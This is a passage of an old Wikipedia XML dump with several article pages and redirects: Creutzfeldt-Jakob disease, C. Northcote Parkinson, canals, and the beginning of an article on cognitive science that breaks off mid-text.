[[lb:Kräid (Geologie)]]
[[nl:Krijt (tijdvak)]]
[[ja:白亜紀]]
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[[os:Мелон период]]
[[pl:Kreda (okres)]]
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[[uk:Крейдовий період]]
[[zh:白垩纪]]</text>
    </revision>
  </page>
  <page>
    <title>Creutzfeld-Jacob Disease</title>
    <id>5616</id>
    <revision>
      <id>15903817</id>
      <timestamp>2004-09-01T00:32:04Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Creutzfeldt-Jakob disease]]</text>
    </revision>
  </page>
  <page>
    <title>Creutzfeldt-Jakob disease</title>
    <id>5617</id>
    <revision>
      <id>41939856</id>
      <timestamp>2006-03-02T19:41:42Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Creutzfeldt-Jakob disease |
  ICD10       = A81.0, F02.1 |
  ICD9        = {{ICD9|046.1}} |
}}
'''Creutzfeldt-Jakob Disease''' (CJD) is a very rare and incurable [[brain]] [[disease]] that is ultimately fatal. It is the most common of the [[transmissible spongiform encephalopathy|transmissible spongiform encephalopathies]] (TSEs). It is a progressive neurological disorder which belongs to a group of degenerative [[neurology|neurologic]] [[disease]]s known as [[subacute spongiform encephalopathy|subacute spongiform encephalopathies]].

==Causes==
[[Transmissible spongiform encephalopathy]] diseases (also known as [[prion]] diseases) are caused by a unique type of infectious agent called prions, an abnormally [[protein structure|structured]] form of a [[protein]] found in the brain. Other prion diseases include [[Gerstmann-Sträussler-Scheinker syndrome]] (GSS), [[fatal familial insomnia]] (FFI) and [[kuru (disease)|kuru]] in humans, as well as [[bovine spongiform encephalopathy|BSE]] and [[scrapie]] in animals.

The prion that is believed to cause Creutzfeldt-Jakob exhibits at least two stable [[chemical conformation|conformations]].  One, the native state, is water-soluble and present in healthy cells.  [[As of 2006]], its biological function is unknown. The other conformational state is very poorly water-soluble and readily forms protein aggregates.  

The CJD prion is dangerous because it promotes refolding of native proteins into the diseased state.  The number of misfolded protein molecules will [[exponential growth|increase exponentially]], and the process leads to a large quantity of insoluble prions in affected [[cell (biology)|cells]].  This mass of insoluble proteins disrupts cell function and causes cell death.  Once the prion is transmitted, the defective proteins invade the brain and get produced in a self-sustaining [[feedback loop]], causing exponential spread of the prion, and the patient dies within a few months; a few patients live as long as two years.

==Incidence and prevalence==
Although CJD is the most common human [[prion]] disease, it is still extremely rare and only occurs in about one out of every one million people. It usually affects people aged 45&amp;ndash;75, most commonly appearing in people between the ages of 60&amp;ndash;65. The exception to this is the more recently-recognised 'variant' CJD (vCJD), which occurs in younger people. 

[[Centers for Disease Control and Prevention|CDC]] monitors the occurrence of CJD in the United States through periodic reviews of national mortality data: According to the CDC:
* CJD occurs worldwide at a rate of about 1 case per million population per year.
* On the basis of mortality surveillance from [[1979]] to [[1994]], the annual [[incidence]] of CJD remained stable at approximately 1 case per [[million]] persons in the United States.
* In the United States, CJD deaths among persons younger than 30 years of age are extremely rare (fewer than 5 deaths per [[billion]] per year).
* The disease is found most frequently in patients 55&amp;ndash;65 years of age, but cases can occur in persons older than 90 years and younger than 55 years of age.
* In more than 85 percent of cases, the duration of CJD is less than 1 year (median: 4 months) after onset of symptoms.

==Symptoms==
The first [[symptom]] of CJD is rapidly progressive [[dementia]], leading to [[memory]] loss, [[personality]] changes and [[hallucinations]]. This is accompanied by physical problems such as [[speech]] impairment, jerky movements ([[myoclonus]]), balance and coordination dysfunction ([[ataxia]]), changes in [[gait (human)|gait]], rigid [[posture]], and [[seizures]]. The duration of the disease varies greatly, but sporadic (non-inherited) CJD can be fatal within months or even weeks (Johnson, 1998). In most patients, these symptoms are followed by involuntary movements and the appearance of a typical diagnostic electroencephalogram tracing.

The symptoms of CJD are caused by the progressive death of the brain's [[neuron|nerve cells]], which is associated with the build-up of abnormal prion [[proteins]]. When brain tissue from a CJD patient is examined under a [[microscope]], many tiny holes can be seen where whole areas of nerve cells have died. The word 'spongiform' in 'transmissible spongiform encephalopathies' refers to the 'spongy' appearance of the brain tissue.

==Diagnosis==
The diagnosis of CJD is suspected when there are typical clinical symptoms and signs such as rapidly progressing dementia with myoclonus. Further investigation can then be performed to support the diagnosis including
* [[Electroencephalography]] - often has characteristic triphasic spikes
* [[Cerebrospinal fluid]] analysis for [[14-3-3 protein]]
* [[MRI]] of the brain - often shows high signal intensity in the caudate nucleus and putamin bilaterally on T2-weighted images
In one third of patients with sporadic CJD, deposits of [[PrpSc|PrP&lt;SUP&gt;Sc&lt;/SUP&gt;]] can be found in the skeletal muscle and/or the spleen. Diagnosis of vCJD can be supported by biopsy of the tonsils, which harbour significant amounts of PrpSc; However, [[biopsy]] of brain tissue is definitive diagnostic test

==variant Creutzfeldt-Jakob Disease (vCJD)==
A new variant of the disease (usually called just '''variant Creutzfeldt-Jakob Disease (vCJD)''' but sometimes '''new variant Creutzfeldt-Jakob Disease (nvCJD)''') is distinguished from the classical type by its early onset (usually in the 20s) and a predominance of [[psychiatric]] and sensory symptoms. The prions in this form are thought to be transmitted by consuming the meat of [[bovinae|bovines]] with so-called mad cow disease ([[Bovine Spongiform Encephalopathy]]), although there is no definite proof of this association as yet. It has been shown, however, that PRP&lt;SUP&gt;Sc&lt;/SUP&gt; particles accumulate in gastrointestinal lymphoid tissue (specifically, [[Peyer's patches]]) in animals after oral infection (Maignien et al 1999; Beekes and McBride, 2000; Shmakov and Ghosh, 2001; Ghosh 2002). Furthermore, ''in vitro'' studies have shown the uptake of these particles by human gastrointestinal tract cells (Morel et al, 2005). Further suggestive of an oral route of transmission in humans is the fact that over 95% of identified cases of vCJD are in Britain, which suffered a mad cow disease epidemic in the mid-80s.

==Treatment==
As of this writing, there is no cure for CJD, a fatal disease, and the search for viable treatments continues.

An experimental treatment was given to a Northern Irish teenager, [[Jonathan Simms]] in January 2003. The drug, called [[pentosan polysulphate]] (PPS) and commonly used to treat [[cystitis]], was infused into the patient's  (L) cerebral ventricle. Simms has remained stable since the treatment. The drug may slow or halt the progress of the disease but does not improve the patient's health and is not widely available in the UK.[http://news.bbc.co.uk/2/hi/uk_news/northern_ireland/4092363.stm]

==Transmission==
The defective protein can be transmitted by [[human growth hormone]] products, [[cornea]]l grafts, dural grafts or [[electrode]] implants (acquired or [[iatrogenic]] form: iCJD), it can be inherited (hereditary or familial form: fCJD) or it may appear for the first time in the patient (sporadic form: sCJD). In the hereditary form, a [[mutation]] occurs in the [[gene]] for PrP, [[PRNP]]. From 10 to 15 percent of CJD cases are inherited. (CDC)

The disease has also been shown to result from usage of [[Human growth hormone|HGH]] drawn from the [[pituitary gland]]s of [[cadaver]]s who died from Creutzfeldt-Jakob Disease [http://www.wired.com/news/medtech/0,1286,62998,00.html], though the known incidence of this cause is (as of April 2004) quite small. The risk of infection through cadaveric HGH usage in the U.S. only ceased when the medication was withdrawn in [[1985]].

[[Cannibalism]] has also been implicated as a transmission mechanism for abnormal prions, causing the disease known as [[Kuru epidemic|Kuru]], found primarily among women and children of the [[Fore Tribe|Fore tribe]] in [[Papua New Guinea]]. 

===Blood donor restrictions===
In [[2004]] a new report published in the [[The Lancet|Lancet]] medical journal showed that vCJD can be transmitted by blood transfusions (Peden, 2004). The finding alarmed healthcare officials because a large epidemic of the disease might arise in the near future. There is no test to determine if a blood donor is infected and is in the latent phase of vCJD. In reaction to this report, the British government banned anyone who had received a blood transfusion since January 1980 from donating blood.

On [[May 28]], [[2002]], the [[United States]] [[Food and Drug Administration]] instituted a policy that excludes from donation anyone who lived in high-risk areas of Europe from 1980 to the mid-1990s. Given the large number of U.S. military personnel residing in Europe, it was expected that over 7% of donors would be deferred due to the policy. {{ref|BCP}}

==History==
The disease was first described by two German [[neurologist]]s, [[Hans Gerhard Creutzfeldt]] and [[Alfons Maria Jakob]]. Some of the clinical findings described in their first papers do not match current criteria for Creutzfeldt-Jakob disease, and it is considered highly likely that at least two of the patients in their initial studies were suffering from a different disorder.

==Victims==
Many Americans first learned about the disease when the famed choreographer [[George Balanchine]] died of it in [[1983]].

==See also==
*[[Scrapie]], a similar disease which affects sheep.

==References==
*  Beekes M, McBride PA (2000). Early accumulation of pathological PrP in the enteric nervous system and gut-associated lymphoid tissue of hamsters orally infected with scrapie. ''Neurosci Lett'' '''278''':181-184 PMID 10653023 
* Johnson RT, Gibbs CJ (1998). Creutzfeldt-Jakob disease and related transmissible spongiform encephalopathies. ''N. Engl. J. Med.'' '''339''' (27), 1994-2004 PMID 9869672 
* Morel E, et al (2005). Bovine prion is endocytosed by human enterocytes via the 37 kDa/67 kDa laminin receptor. ''Am J Pathol''. '''167(4)''':1033-42 PMID 16192638
* Peden AH, et al (2004). Preclinical vCJD after blood transfusion in a PRNP codon 129 heterozygous patient. ''Lancet'' '''364''', 527-29 PMID 15302196
* Todd NV, Morrow J, Doh-ura K, Dealler S, O'Hare S, Farling P, Duddy M, Rainov NG, (2005) Cerebroventricular infusion of pentosan polysulphate in human variant Creutzfeldt-Jakob disease, '' Journal of Infectious Diseases'', '''50(5)''':394-6. PMID 15907546 
* Maignien T, Lasmezas CI, Beringue V, Dormont D, Deslys JP (1999). Pathogenesis of the oral route of infection of mice with scrapie and bovine spongiform encephalopathy agents. ''J Gen Virol'' '''80''':3035-3042 PMID 10580067 
* Shmakov AN, Ghosh S (2001). Prion proteins and the gut: une liaison dangereuse? ''Gut'' '''48''':443-447 PMID 11247881 
* Ghosh S (2002). Intestinal entry of prions. ''Z Gastroenterol'' '''40''':37-39. PMID 11803499

==External links==
* [http://www.cjd.ed.ac.uk/ National Creutzfeldt-Jakob Disease Surveillance Unit], UK CJD surveillance unit at Western General Hospital in Edinburgh, Scotland
* [http://www.cjdalliance.org.uk/ CJD Alliance] CJD Alliance, Scotland
* [http://www.mad-cow-facts.com Mad Cow Facts], Beef industry view on BSE links to vCJD
* [http://www.bloodcenters.org/press/001.htm &quot;Mad Cow&quot; Blood Donor Restrictions] - Blood Centers of the Pacific
* [http://www.AIDSCJDUK.info forecast information on vCJD and HIV/AIDS in the UK]

[[Category:Eponymous diseases]]
[[Category:Prions]]
[[Category:Transmissible spongiform encephalopathies]]
[[Category:Foodborne illnesses]]

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[[he:מחלת קרויצפלד יקוב]]
[[it:Malattia di Creutzfeldt-Jakob]]
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[[no:Creutzfeldt-Jakobs sykdom]]
[[ja:クロイツフェルト・ヤコブ病]]
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[[pt:Doença de Creutzfeldt-Jakob]]
[[sv:Creutzfeldt-Jakobs sjukdom]]
[[zh:克雅二氏病]]</text>
    </revision>
  </page>
  <page>
    <title>Clockwork Orange</title>
    <id>5618</id>
    <revision>
      <id>38080995</id>
      <timestamp>2006-02-04T01:11:22Z</timestamp>
      <contributor>
        <username>Aim Here</username>
        <id>438422</id>
      </contributor>
      <comment>try another link</comment>
      <text xml:space="preserve">#REDIRECT [[A Clockwork Orange (film)]]</text>
    </revision>
  </page>
  <page>
    <title>Cerebral Palsy</title>
    <id>5619</id>
    <revision>
      <id>15903820</id>
      <timestamp>2002-04-27T16:39:30Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect[[Cerebral palsy]] no talk to move</comment>
      <text xml:space="preserve">#redirect[[Cerebral palsy]]</text>
    </revision>
  </page>
  <page>
    <title>Cerebrovascular Accident</title>
    <id>5620</id>
    <revision>
      <id>25553205</id>
      <timestamp>2005-10-15T01:50:47Z</timestamp>
      <contributor>
        <username>RN</username>
        <id>201597</id>
      </contributor>
      <comment>#REDIRECT [[Stroke]]</comment>
      <text xml:space="preserve">#REDIRECT [[Stroke]]</text>
    </revision>
  </page>
  <page>
    <title>Carl XVI Gustaf</title>
    <id>5621</id>
    <revision>
      <id>15903822</id>
      <timestamp>2003-11-08T10:33:29Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Carl XVI Gustaf of Sweden]]</text>
    </revision>
  </page>
  <page>
    <title>C. Northcote Parkinson</title>
    <id>5622</id>
    <revision>
      <id>40417174</id>
      <timestamp>2006-02-20T11:17:34Z</timestamp>
      <contributor>
        <username>Quarl</username>
        <id>59118</id>
      </contributor>
      <comment>«+&quot;==See also== * [[Color of the bikeshed]]&quot;»</comment>
      <text xml:space="preserve">'''Cyril Northcote Parkinson''' ([[July 30]], [[1909]] - [[March 9]], [[1993]]) was a [[United Kingdom|British]] historian and author of some sixty books.  These included historical fiction, often based on the [[Napoleon I of France|Napoleonic period]], and sea stories.  He is even more famous for his [[satire]] of bureaucratic institutions, notably his ''[[Parkinson's law]] and other studies''. This is a collection of short studies explaining the inevitability of bureaucratic expansion, and includes a note on why [[rules of the road|driving on the left side of the road]] (see [[road transport]]) is natural.

As early as the [[1930s]] Parkinson had successfully predicted that the [[Royal Navy]] would eventually have more admirals than ships.

== Bibliography ==

[[Richard Delancey (fictional character)|Richard Delancey]] series
*[[The Devil to Pay (novel)|''The Devil to Pay'']] ([[1973]])
*[[The Fireship (novel)|''The Fireship'']] ([[1975]])
*''Touch and Go'' ([[1977]])
*''Dead Reckoning'' ([[1978]])
*''So Near, So Far'' ([[1981]])
*''The Guernsey Man'' ([[1982]])

Other Nautical Fiction
*''The Life and Times of [[Horatio Hornblower]]'' ([[1970]])
*''Manhunt'' ([[1990]])

History
*''[[Edward Pellew, 1st Viscount Exmouth|Edward Pellew, Viscount Exmouth]]'' ([[1934]])
*''The Trade Winds, Trade in the French Wars 1793-1815''   ([[1948]])
*''Samuel Waters, Lieut. RN'' ([[1949]])
*''Trade in the Eastern Seas'' ([[1955]])
*''East and West'' ([[1963]])
*''Britannia Rules'' ([[1977]])
*''Gunpowder, Treason and Plot'' ([[1978]])
*''A Short History of the British Navy, 1776-1816''
*''Portsmouth Point, The Navy in Fiction, 1793-1815'' ([[1948]])

Other Non-Fiction
*''[[Parkinson's Law]]'' ([[1957]])
*''The Evolution of Political Thought'' ([[1958]])
*''The Law and the Profits'' ([[1960]])
*''In-Laws and Outlaws'' ([[1962]])
*''Left Luggage'' ([[1967]])
*''Mrs. Parkinson's Law'' ([[1968]])  
*''The Law of Delay'' ([[1970]])

Audio Recordings

*''Discusses Political Science with Julian H. Franklin (10 LPs)'' ([[1959]])

==See also==
* [[Color of the bikeshed]]

{{wikiquote|C. Northcote Parkinson}}

[[Category:1909 births|Parkinson, C. Northcote]]
[[Category:1993 deaths|Parkinson, C. Northcote]]
[[Category:British writers|Parkinson, C. Northcote]]
[[Category:British historians|Parkinson, C. Northcote]]
[[Category:British satirists|Parkinson, C. Northcote]]
[[Category:Historical novelists|Parkinson, C. Northcote]]

[[da:Cyril Northcote Parkinson]]
[[de:Cyril Northcote Parkinson]]
[[es:Cyril Northcote Parkinson]]
[[pt:Cyril Northcote Parkinson]]</text>
    </revision>
  </page>
  <page>
    <title>Canal</title>
    <id>5623</id>
    <revision>
      <id>41921729</id>
      <timestamp>2006-03-02T17:10:08Z</timestamp>
      <contributor>
        <username>Drjan</username>
        <id>6029</id>
      </contributor>
      <minor />
      <comment>/* Ancient canals */ copy-edit: grammar update</comment>
      <text xml:space="preserve">{{dablink|For other senses of this term, see [[canal (disambiguation)]].}}
[[Image:Canal_du_midi_toulouse.jpg|thumb|190px|The [[Canal du Midi]]&lt;br&gt; in [[Toulouse]], [[France]].]]
[[Image:Calder and hebble.jpg|thumb|right|A picturesque stretch on the [[Calder and Hebble Navigation]].]]
'''Canals''' are man-made [[waterway]]s, usually connecting existing [[lake]]s, [[river]]s, or [[ocean]]s. There are two main types of canal: [[irrigation]] canals for the delivery of water; [[transport]]ation canals for passage of goods and people. Some rivers have also been '[[channelization|channelised]]' to make them navigable.

Smaller transportation canals can carry [[barge]]s or [[narrowboat]]s, while [[ship canal]]s can accommodate sea-going [[ship]]s and may connect one ocean to another. 

==Ancient canals==
The oldest-known canals were built in [[Mesopotamia]] circa [[4000 BC]]. The [[Indus Valley Civilization]] in [[Pakistan]] and [[North India]] (from circa [[2600 BC]]) had the first canal [[irrigation]] system in the world.[http://library.thinkquest.org/C0110225/civilisations.htm]  The longest canal of ancient times was the [[Grand Canal of China]]. It is 1794 kilometers (1115 miles) long and was built to carry the [[Emperor Yang of Sui China|Emperor Yang Guang]] between [[Beijing]] and [[Hangzhou]]. The project began in [[605]], although the oldest sections of the canal may have existed since circa [[486 BC]]. In places it is 30 m (100 ft) wide.

==Cities on water==
[[Image:CanalCentreAmsterdamjpg.jpg|thumb|left|190px|Canal in the centre of [[Amsterdam]].]] 
Canals are so deeply identified with [[Venice]] that many canal cities have been nicknamed &quot;the Venice of...&quot; The city is built on marshy islands, with wooden piles supporting the buildings, so that here it is not so much the waterways which are man-made, as the land. The islands have a long history of settlement, and by the 12th century Venice was a powerful [[city state]].

[[Amsterdam]] was built in a similar way, with buildings on wooden piles. The pace of draining of fenland and [[polder]] in the [[Low Countries]] quickened in the 14th century and canalization made the village of Amsterdam a port. It became a city around 1300.

==Industrial revolution==
In Europe and then in the young United States, inland canals preceded the development of [[railroad]]s during the earliest phase of the [[Industrial Revolution]]; some canals were later drained and used as railroad [[Right-of-way (railroad)|rights-of-way]]. Navigable canals reached into previously isolated areas and brought them in touch with the world economy. The [[Erie Canal]], for instance, opened up a connection from the populated Northeast to the fertile Great Plains.

The oldest canal built for industrial purposes in North America is [[Mother Brook]] in [[Dedham, MA]].  It was constructed in 1639 to provide water power for mills.

Competition from the railroad network made many canals obsolete for commercial transportation, and many fell into decay.

:''See also: [[History of the British canal system]]''

==Modern uses==
A movement that began in Britain and France to use the picturesque early industrial canals for pleasure boats has spurred rehabilitation of stretches of historic canals.

Canals have found another use in the 21st century, as [[wayleave]]s for [[fibre optic]] [[telecommunications]] networks.

==Miscellaneous==
For a time in the early 20th century, it was believed that there were [[Martian canals|many canals on Mars]].
[[Image:Wikipediacanal.jpg|thumb|200px|The Miraflores Locks on the [[Panama Canal]] (2004)]]
==External links==
* [http://academic.emporia.edu/aberjame/wetland/canal/canals.htm &quot;Canals and Navigable Rivers&quot; by James S. Aber, Emporia State University]

==Famous canals and lists==
* [[List of waterways]]
* [[Grand Canal of China]] - Longest Canal 
* [[Canals of Ireland]]
* [[List of canals in the United States]]
* [[Canals of the United Kingdom]]
* [[Suez Canal]]
* [[Panama Canal]]
* [[Corinth Canal]]
* [[Venice]]
* [[Amsterdam]]
* [[Welland Canal]] - Central Canada 
* [[Saint Lawrence Seaway]] - [[Quebec]], [[Ontario]], [[Canada]]
* [[Erie Canal]] - [[New York]], [[USA]]
* [[Rideau Canal]] - [[Ottawa]], [[Ontario]], [[Canada]]
* [[Shubie Canal]] - [[Nova Scotia]], [[Canada]]

==See also==
[[Image:Small canal - Venice.jpg|thumb|right|190px|Rio de la Verona: a ''rio'' or small canal in [[Venice]].]]
* [[Water transportation]]
* [[Aqueduct]]
* [[Canal lock]]
* [[Horse-drawn boat]]
* [[Sethusamudram Shipping Canal Project]]
* [[Sluice]] 
* [[Trade route]]
* [[Waterway restoration]]

[[Category:Canals]]
[[Category:Water transport]]
[[Category:Coastal construction]]
[[Category:Water transport infrastructure]]

[[bg:Канал]]
[[cs:Průplav]]
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[[zh:运河]]</text>
    </revision>
  </page>
  <page>
    <title>Czechia</title>
    <id>5624</id>
    <revision>
      <id>22465890</id>
      <timestamp>2005-09-03T11:53:38Z</timestamp>
      <contributor>
        <username>Made2Fade</username>
        <id>234951</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Czech Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Cognitive science</title>
    <id>5626</id>
    <revision>
      <id>42130643</id>
      <timestamp>2006-03-04T00:47:23Z</timestamp>
      <contributor>
        <ip>128.148.17.100</ip>
      </contributor>
      <text xml:space="preserve">{{portalpar|Mind and Brain}}

[[Image:Brain.png|frame|Rendering of human brain based on MRI data]]

'''Cognitive science''' is usually defined as the scientific study either of [[mind]] or of [[intelligence (trait)|intelligence]] (e.g. Luger 1994). 
Practically every formal introduction to cognitive science stresses that it is a highly [[interdisciplinary]] academic area, in which ''[[psychology]], [[neuroscience]], [[linguistics]], [[philosophy]]'', and ''[[computer science]]'', as well as ''[[artificial intelligence]], [[anthropology]] and [[biology]]'' are its specialized or applied branches.

==History==
The term ''Cognitive Science'' was coined by [[Christopher Longuet-Higgins]] in his 1973 commentary on the [[Lighthill report]], which was on the state of [[Artificial Intelligence]] research.

{{sectstub}}

==Principles of Cognitive Science==
===Approaches===
There are several approaches of study in the field of cognitive science including symbolic, connectionist, and dynamic systems.

* Symbolic - That intelligence can be explained by means of systematic, discrete instructions not unlike the way in which a computer works.
* Connectionist - The means of explanation is by using artificial [[neural networks]].
* Dynamic Systems - Cognition can be explained by means of a continuous system in which everything is interrelated, like the [[Centrifugal governor|Watt Governor]].

===Levels of analysis===
One of the central principles in the symbolic approach to cognitive science is that (1) there are different levels of analysis (LOA) from which the brain and behavior can be studied, and (2) mental phenomena are best studied from ''multiple'' levels of analysis. These levels are usually broken into three groups, based on [[David Marr|Marr]]'s description of them:

* Computational (Behavioral) level: describes the directly observable output (or behavior) of a system.
* Algorithmic (Functional) level: describes how information is processed to produce the behavioral output.
* Implementational (Physical) level: describes the physical substrate that the system consists of (e.g. the brain; neurons).

An analogy often used to describe LOA is to compare the brain to a [[computer]]. The physical level would consist of the computer's [[hardware]], the behavioral level represents the computer's [[software]], and the functional level would be the computer's [[operating system]], which allows the software and hardware components to communicate.

A central tenet of cognitive science is that a complete understanding of the mind/brain cannot be attained by studying only a single level. For example, consider the problem of remembering a phone number and recalling it later. How does this process occur? One approach would be to study behavior through direct observation. You could present a person with a phone number, ask them to recall it after some delay, and measure their accuracy. Another approach would be to study the firings of individual neurons while a person is trying to remember the phone number. Neither of these experiments on their own would fully explain ''how'' the process of remembering a phone number works. Even if we had the technology available to map out every neuron in the brain in real-time, and we knew when each neuron was firing, we still would not know how a particular firing of neurons translates into the observed behavior. Thus, we need an understanding of how these two levels relate to each other. This can be provided by a functional level account of the process. By studying a particular phenomenon from multiple levels, we are better able to understand the processes that occur in the brain to give rise to a particular behavior.

===Interdisciplinary nature===
Closely related to LOA (Levels of Analysis?), '''cognitive science''' is a very interdisciplinary field and tends to view the world outside the mind much as other sciences do. Thus, it has an objective: observer-independent existence. The field is usually seen as compatible with and interdependent with the physical sciences, and uses of the [[scientific method]], as well as [[simulation]] or [[model (abstract)|modeling]], often comparing the output of models with aspects of human behavior. Still, there is much disagreement about the exact relationship between cognitive science and other fields, and the inter-disciplinary nature of cognitive science is largely both unrealized and circumscribed.

Many but not all who consider themselves cognitive scientists have a [[functionalism (philosophy of mind)|functionalist]] view of mind/intelligence, which means that, at least in theory, they study mind and intelligence from the perspective that these attributes could perhaps (at least someday) be properly attributed not only to human beings but also to, say, other animal species, alien life forms or particularly advanced computer systems. This perspective is one of the reasons the term &quot;cognitive science&quot; is not exactly coextensive with [[neuroscience]], [[psychology]], or some combination of the two.

===''Cognitive'' science - The term===
The term &quot;cognitive&quot; in &quot;cognitive science&quot; is &quot;used for any kind of mental operation or structure that can be studied in precise terms.&quot; (Lakoff and Johnson, 1999) This conceptualization is very broad, and should not be confused with how &quot;cognitive&quot; is used in some traditions of analytic philosophy, where &quot;cognitive&quot; has to do only with formal rules and truth conditional semantics. (Nonetheless, that interpretation would bring one close to the historically dominant school of thought within cognitive science on the nature of cognition - that it is essentially symbolic, propositional, and logical.)

The earliest entries for the word &quot;''cognitive''&quot; in the [[Oxford English Dictionary | OED]] take it to mean roughly ''pertaining to &quot;to the action or process of knowing&quot;''. The first entry, from 1586, shows the word was at one time used in the context of discussions of [[Plato | Platonic]] theories of [[knowledge]]. Most in cognitive science, however, presumably do not believe their field is the study of anything as certain as the knowledge sought by Plato.

==Scope of cognitive science==
'''Cognitive science''' is a large field, and covers a wide array of topics on cognition. However, it should be recognized that cognitive science is not equally concerned with every topic that might bear on the nature and operation of the mind or intelligence. Social and cultural factors, emotion, consciousness, [[animal cognition]], [[comparative psychology|comparative]] and [[evolutionary psychology|evolutionary]] approaches are frequently de-emphasized or excluded outright, often based on key philosophical conflicts. Some within the cognitive science community, however, consider these to be vital topics, and advocate the importance of investigating them.

Below are some of the main topics that '''cognitive science''' is concerned with. This is not an exhaustive list, but is meant to cover the wide range of intelligent behaviors. See [[List of cognitive science topics]] for a list of various aspects of the field.

===Artificial intelligence===
''Main article:'' [[Artificial intelligence]]

Artificial intelligence (AI) involves the study of cognitive phenomena in machines. One of the practical goals of AI is to implement aspects of human intelligence in computers. Computers are also widely used as a tool with which to study cognitive phenomena. [[computer model|Computational modeling]] uses simulations to study how human intelligence may be structured. (See the section on computational modeling in the Research Methods section.)

There is some debate in the field as to whether the mind is &quot;best&quot; viewed as a huge array of small but individually feeble elements (i.e. neurons), or as a collection of higher-level structures, such as &quot;symbols&quot;, &quot;schemas&quot;, &quot;plans&quot;, and rules. The former view uses [[connectionism]] to study the mind, whereas the latter emphasizes symbolic computations. One way to view the issue is whether it is possible to accurately simulate a human brain on a computer without accurately simulating the neurons that make up the human brain.

===Attention===
''Main article: [[Attention]]''

Attention is the selection of important information.  The human mind is bombarded with millions of stimuli and it must have a way of deciding which of this information to process.  Attention is sometimes seen as a spotlight, meaning one can only shine the light on a particular set of information.  Experiments that support this metaphor include the dichotic listening task (Cherry, 1957) and studies of inattentional blindness (Mack and Rock, 1998).  In the dichotic listening task, subjects are bombarded with two different messages, one in each ear, and told only to focus on one of the messages.  At the end of the experiment, when asked about the content of the unattended message, subjects could not report it.  (Still needs editing)

===Language processing===
[[Image:Cgisf-tgg.png|thumb|230px||An example of a phrase structure tree. This is one way of representing human language that shows that different components are organized hierarchically.]]
''Main articles:'' [[Cognitive linguistics]], [[Language]], [[Linguistics]], [[Psycholinguistics]]

The ability to learn and understand language is an extremely complex process. Language is acquired within the first few years of life, and all humans under normal circumstances are able to acquire language proficiently. Some of the driving research questions in studying how the brain processes language include: (1) To what extent is linguistic knowledge innate or learned?, (2) Why is it more difficult for adults to acquire a second-language than it is for infants to acquire their first-language?, (3) How are humans able to understand novel sentences they have never heard before?

The study of language processing ranges from the investigation of the sound patterns of speech to the meaning of words and whole sentences. [[Linguistics]] often divides the types of language processing into orthography, [[phonology]] and [[phonetics]], [[syntax|syntactics]], [[semantics]], and [[pragmatics]]. Many aspects of language can be studied from each of these components and from their interaction.

The study of language processing in '''cognitive science''' is closely tied to the field of linguistics. Linguistics was traditionally studied as a part of the humanities, including studies of history, art and literature. In the last fifty years or so,  more and more researchers have studied knowledge and use of language as a cognitive phenomenon, the main problems being how knowledge of language can be acquired and used, and what, precisely it consists of. [[Linguist]]s have found that, while humans form sentences in ways apparently governed by very complex systems, they are remarkably unaware of the rules that govern their own speech. Thus, linguists must resort to indirect methods to determine what those rules might be. If speech is indeed governed by rules, they appear to be opaque to any conscious consideration.

A very fecund way to approach cognitive issues in language is the pragmatics of language, that is, the current use of the language by a real speaker. From a pragmatic analythical perspective it was possible to show that some professions categorically working with language (e.g. journalists) have a behavior non predictable by known theories.  Pragmatic approach is also useful to study collective distributed decision making, specially in broadcasted systems (for instance aviation approach control - APP).

===Learning and development===
''Main articles:'' [[Learning]], [[Developmental psychology]]

Learning and development are the processes by which we acquire information over time. Infants are born with little or no knowledge (depending on how knowledge is defined), yet they rapidly acquire the ability to use language, walk, and recognize people and objects. Research in learning and development aim to explain the mechanisms by which these processes might take place.

A major question in the study of cognitive development is the extent to which certain abilities are [[innate]] or learned. This is often framed in terms of the nature versus nurture debate. The nativist view emphasizes that certain features are innate to an organism and are determined by its [[genetics|genetic]] endowment. The empiricist view, on the other hand, emphasizes that certain abilities are learned from the environment. It is clear that intelligent behavior has components that are both innate and learned, but the extent to which particular behaviors are innate is a major research question. In the area of [[language acquisition]], for example, many questions remain about whether or not a special language acquisition device is necessary to facilitate the learning of language, or if humans can learn language through more general learning processes that take advantage of the information available in the environment.

===Memory===
''Main articles:'' [[Memory]]

Memory allows us to store information for later retrieval. Memory is often thought of consisting of both a long-term and short-term store. Long-term memory allows us to store information over prolonged periods (days, weeks, years). We do not yet know the practical limit of long-term memory capacity. Short-term memory allows us to store information over short time scales (seconds or minutes).

Memory is also often grouped into declarative and procedural forms. Declarative memory refers to our memory for facts and specific knowledge (e.g., Who was the first president of the U.S.?). Procedural memory allows us to remember actions and motor sequences (e.g. how to ride a bicycle).

===Perception and action===
[[Image:Necker_cube.jpg|thumb|150px|The Necker cube, an example of a visual illusion.]]

''Main article: [[Perception]]''

Perception is the ability to take in information via the [[senses]], and process it in some way. [[Visual perception|Vision]] and [[Hearing (sense)|hearing]] are two dominant senses that allow us to perceive the environment. Some questions in the study of visual perception, for example, include: (1) How are we able to recognize objects?, (2) Why do we perceive a continuous visual environment, even though we only see small bits of it at any one time? One tool for studying visual perception is by looking at how people process [[visual illusions]]. The image on the right of a Necker cube is an example of a bistable percept, that is, the cube can be interpreted as being oriented in two different directions.

The study of [[haptic]] ([[tactile]]), [[olfactory]], and [[gustatory]] stimuli also fall into the domain of perception.

Action is taken to refer to the output of a system. In humans, this is accomplished through motor responses. Spatial planning and movement, speech production, and complex motor movements are all aspects of action.

==Research methods==
Many different methodologies are used to study '''cognitive science'''. As the field is highly interdisciplinary, research often cuts across multiple areas of study, and draws on research methods from [[psychology]], [[neuroscience]], and [[computer science]].

===Behavioral experiments===
In order to have a description of what constitutes intelligent behavior, one must study behavior itself. This type of research is closely tied to that in [[cognitive psychology]] and [[psychophysics]]. By measuring behavioral responses to different stimuli, one can understand something about how those stimuli are processed.

